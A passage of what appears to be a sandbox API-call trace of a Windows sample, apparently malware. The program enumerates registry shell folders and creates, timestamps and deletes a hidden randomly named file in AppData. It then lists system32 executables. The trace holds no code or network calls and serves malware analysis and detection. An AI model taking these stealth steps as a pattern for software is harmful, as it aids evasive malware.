lpValueName="{BFB9D5E0-C6A9-404C-B2B2-AE6DB6AF4968}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.923] RegEnumValueA (in: hKey=0x120, dwIndex=0x1a, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Cache", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.923] RegEnumValueA (in: hKey=0x120, dwIndex=0x1b, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Templates", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.923] RegEnumValueA (in: hKey=0x120, dwIndex=0x1c, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{4C5C32FF-BB9D-43B0-B5B4-2D72E54EAAA4}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.923] RegEnumValueA (in: hKey=0x120, dwIndex=0x1d, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Fonts", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.923] RegEnumValueA (in: hKey=0x120, dwIndex=0x1e, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Fonts", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0025.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22fc240, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0025.923] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe950 [0025.923] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22fc240, cbMultiByte=7, lpWideCharStr=0x22fe950, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0025.923] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe9d8 [0025.923] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe950) returned 1 [0025.924] RegQueryValueExW (in: hKey=0x120, lpValueName="AppData", lpReserved=0x0, lpType=0x18f8c0, lpData=0x0, lpcbData=0x18f8d0*=0x0 | out: lpType=0x18f8c0*=0x1, lpData=0x0, lpcbData=0x18f8d0*=0x5c) returned 0x0 [0025.924] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe950 [0025.924] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d2da8) returned 1 [0025.924] RegQueryValueExW (in: hKey=0x120, lpValueName="AppData", lpReserved=0x0, lpType=0x18f8c0, lpData=0x22fe950, lpcbData=0x18f8d0*=0x5c | out: lpType=0x18f8c0*=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpcbData=0x18f8d0*=0x5c) returned 0x0 [0025.924] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe9d8) returned 1 [0025.924] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe9d8 [0025.924] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe950) returned 1 [0025.924] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe9d8) returned 1 [0025.924] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x800) returned 0x21d3958 [0025.924] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpszShortPath=0x21d3958, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming") returned 0x21 [0025.924] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d3958) returned 1 [0025.924] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe8c8) returned 1 [0025.924] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc288) returned 1 [0025.924] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd278) returned 1 [0025.924] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc240) returned 1 [0025.924] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd268) returned 1 [0025.924] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.924] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd258) returned 1 [0025.924] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.924] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd2f8) returned 1 [0025.924] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc900) returned 1 [0025.924] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd308) returned 1 [0025.924] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc948) returned 1 [0025.924] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd318) returned 1 [0025.924] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc990) returned 1 [0025.924] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fd328) returned 1 [0025.925] RegCloseKey (hKey=0x120) returned 0x0 [0025.925] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe840 [0025.925] CryptAcquireContextW (in: phProv=0x18f954, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f954*=0x5d6818) returned 1 [0025.926] CryptGenRandom (in: hProv=0x5d6818, dwLen=0x4, pbBuffer=0x18f968 | out: pbBuffer=0x18f968) returned 1 [0025.926] CryptReleaseContext (hProv=0x5d6818, dwFlags=0x0) returned 1 [0025.926] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe840 [0025.926] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x5d6818) returned 1 [0025.927] CryptGenRandom (in: hProv=0x5d6818, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0025.927] CryptReleaseContext (hProv=0x5d6818, dwFlags=0x0) returned 1 [0025.927] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x5d6818) returned 1 [0025.927] CryptGenRandom (in: hProv=0x5d6818, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0025.927] CryptReleaseContext (hProv=0x5d6818, dwFlags=0x0) returned 1 [0025.927] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x5d6818) returned 1 [0025.928] CryptGenRandom (in: hProv=0x5d6818, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0025.928] CryptReleaseContext (hProv=0x5d6818, dwFlags=0x0) returned 1 [0025.928] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x5d6818) returned 1 [0025.929] CryptGenRandom (in: hProv=0x5d6818, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0025.929] CryptReleaseContext (hProv=0x5d6818, dwFlags=0x0) returned 1 [0025.929] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x5d6818) returned 1 [0025.930] CryptGenRandom (in: hProv=0x5d6818, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0025.930] CryptReleaseContext (hProv=0x5d6818, dwFlags=0x0) returned 1 [0025.930] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x5d6818) returned 1 [0025.930] CryptGenRandom (in: hProv=0x5d6818, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0025.930] CryptReleaseContext (hProv=0x5d6818, dwFlags=0x0) returned 1 [0025.930] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x5d6818) returned 1 [0025.931] CryptGenRandom (in: hProv=0x5d6818, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0025.931] CryptReleaseContext (hProv=0x5d6818, dwFlags=0x0) returned 1 [0025.931] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x5d6818) returned 1 [0025.932] CryptGenRandom (in: hProv=0x5d6818, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0025.932] CryptReleaseContext (hProv=0x5d6818, dwFlags=0x0) returned 1 [0025.932] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x5d6818) returned 1 [0025.933] CryptGenRandom (in: hProv=0x5d6818, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0025.933] CryptReleaseContext (hProv=0x5d6818, dwFlags=0x0) returned 1 [0025.933] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x5d6818) returned 1 [0025.933] CryptGenRandom (in: hProv=0x5d6818, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0025.933] CryptReleaseContext (hProv=0x5d6818, dwFlags=0x0) returned 1 [0025.933] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x5d6818) returned 1 [0025.934] CryptGenRandom (in: hProv=0x5d6818, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0025.934] CryptReleaseContext (hProv=0x5d6818, dwFlags=0x0) returned 1 [0025.934] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x5d6818) returned 1 [0025.935] CryptGenRandom (in: hProv=0x5d6818, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0025.935] CryptReleaseContext (hProv=0x5d6818, dwFlags=0x0) returned 1 [0025.935] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x5d6818) returned 1 [0025.936] CryptGenRandom (in: hProv=0x5d6818, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0025.936] CryptReleaseContext (hProv=0x5d6818, dwFlags=0x0) returned 1 [0025.936] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x5d6818) returned 1 [0025.936] CryptGenRandom (in: hProv=0x5d6818, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0025.936] CryptReleaseContext (hProv=0x5d6818, dwFlags=0x0) returned 1 [0025.936] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x5d6818) returned 1 [0025.937] CryptGenRandom (in: hProv=0x5d6818, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0025.937] CryptReleaseContext (hProv=0x5d6818, dwFlags=0x0) returned 1 [0025.937] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x5d6818) returned 1 [0025.938] CryptGenRandom (in: hProv=0x5d6818, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0025.938] CryptReleaseContext (hProv=0x5d6818, dwFlags=0x0) returned 1 [0025.938] CryptAcquireContextW (in: phProv=0x18f950, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f950*=0x5d6818) returned 1 [0025.939] CryptGenRandom (in: hProv=0x5d6818, dwLen=0x4, pbBuffer=0x18f964 | out: pbBuffer=0x18f964) returned 1 [0025.939] CryptReleaseContext (hProv=0x5d6818, dwFlags=0x0) returned 1 [0025.939] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Dp1UhjpLO" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\dp1uhjplo"), fInfoLevelId=0x0, lpFileInformation=0x18f91c | out: lpFileInformation=0x18f91c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x408ae7, ftCreationTime.dwHighDateTime=0x22f0000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x18fc6c, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x18f9b4)) returned 0 [0025.940] GetLastError () returned 0x2 [0025.940] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Dp1UhjpLO" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\dp1uhjplo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x120 [0025.946] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x184) returned 0x21d9d18 [0025.946] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fcb40 [0025.946] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fcbd0 [0025.946] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fcb88 [0025.946] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fcaf8 [0025.946] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fcab0 [0025.946] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fca68 [0025.946] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fca20 [0025.946] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc9d8 [0025.946] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc990 [0025.946] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc948 [0025.946] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc900 [0025.946] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.946] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.946] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc240 [0025.946] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc288 [0025.946] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x21d2970 [0025.946] SetFileTime (hFile=0x120, lpCreationTime=0x0, lpLastAccessTime=0x18f960, lpLastWriteTime=0x18f960) returned 1 [0025.946] NtClose (Handle=0x120) returned 0x0 [0025.947] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x800) returned 0x21d3958 [0025.947] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Dp1UhjpLO", lpszShortPath=0x21d3958, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\DP1UHJ~1") returned 0x2a [0025.947] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Dp1UhjpLO" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\dp1uhjplo"), fInfoLevelId=0x0, lpFileInformation=0x18f95c | out: lpFileInformation=0x18f95c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x31e16970, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x31e16970, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x31e16970, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0025.947] SetFileAttributesW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Dp1UhjpLO", dwFileAttributes=0x80) returned 1 [0025.947] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Dp1UhjpLO" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\dp1uhjplo")) returned 1 [0025.948] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d3958) returned 1 [0025.948] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fe840) returned 1 [0025.948] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x21d29b8 [0025.948] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x100) returned 0x21d2850 [0025.948] GetSystemDirectoryW (in: lpBuffer=0x21d2850, uSize=0x40 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0025.948] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x21d2850) returned 1 [0025.948] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe840 [0025.948] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe8c8 [0025.948] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fe9d8 [0025.948] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\*.exe", fInfoLevelId=0x1, lpFindFileData=0x18fa00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18fa00) returned 0x5d6760 [0025.948] CryptAcquireContextW (in: phProv=0x18f970, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f970*=0x5d6858) returned 1 [0025.949] CryptGenRandom (in: hProv=0x5d6858, dwLen=0x4, pbBuffer=0x18f984 | out: pbBuffer=0x18f984) returned 1 [0025.949] CryptReleaseContext (hProv=0x5d6858, dwFlags=0x0) returned 1 [0025.949] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f389923, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f389923, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f389923, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="aitagent.exe", cAlternateFileName="")) returned 1 [0025.952] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f8f016, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x41f8f016, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xd9897070, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="alg.exe", cAlternateFileName="")) returned 1 [0025.952] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22f4ae5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x22f4ae5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd99a1240, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="appidcertstorecheck.exe", cAlternateFileName="")) returned 1 [0025.952] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9cf143, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb9cf143, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd9a5f920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="appidpolicyconverter.exe", cAlternateFileName="")) returned 1 [0025.952] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a17d73, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x84a17d73, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xd9ad2510, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="ARP.EXE", cAlternateFileName="")) returned 1 [0025.952] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fa1c868, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1fa1c868, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd9b45100, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="at.exe", cAlternateFileName="")) returned 1 [0025.952] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc10ef45b, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc10ef45b, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xd9b90bf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="AtBroker.exe", cAlternateFileName="")) returned 1 [0025.952] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xd9b90bf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="attrib.exe", cAlternateFileName="")) returned 1 [0025.952] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d6dcfc6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d6dcfc6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d703126, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="audiodg.exe", cAlternateFileName="")) returned 1 [0025.952] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9850cda, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb9850cda, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xd9c9adc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="auditpol.exe", cAlternateFileName="")) returned 1 [0025.952] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a59e84b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a59e84b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a5eab0c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xbde00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="autochk.exe", cAlternateFileName="")) returned 1 [0025.952] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e31ba3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e31ba3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97e7de63, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc1a00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="autoconv.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14e063, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a14e063, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a1741c4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba800, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="autofmt.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa917cb2, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xaa917cb2, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xda2b55c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="AxInstUI.exe", cAlternateFileName="")) returned 1 [0025.953] FindNextFileW (in: hFindFile=0x5d6760, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad77102, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad77102, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad77102, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2ae00, dwReserved0=0x500000, dwReserved1=0x63006d, cFileName="bcdboot.exe", 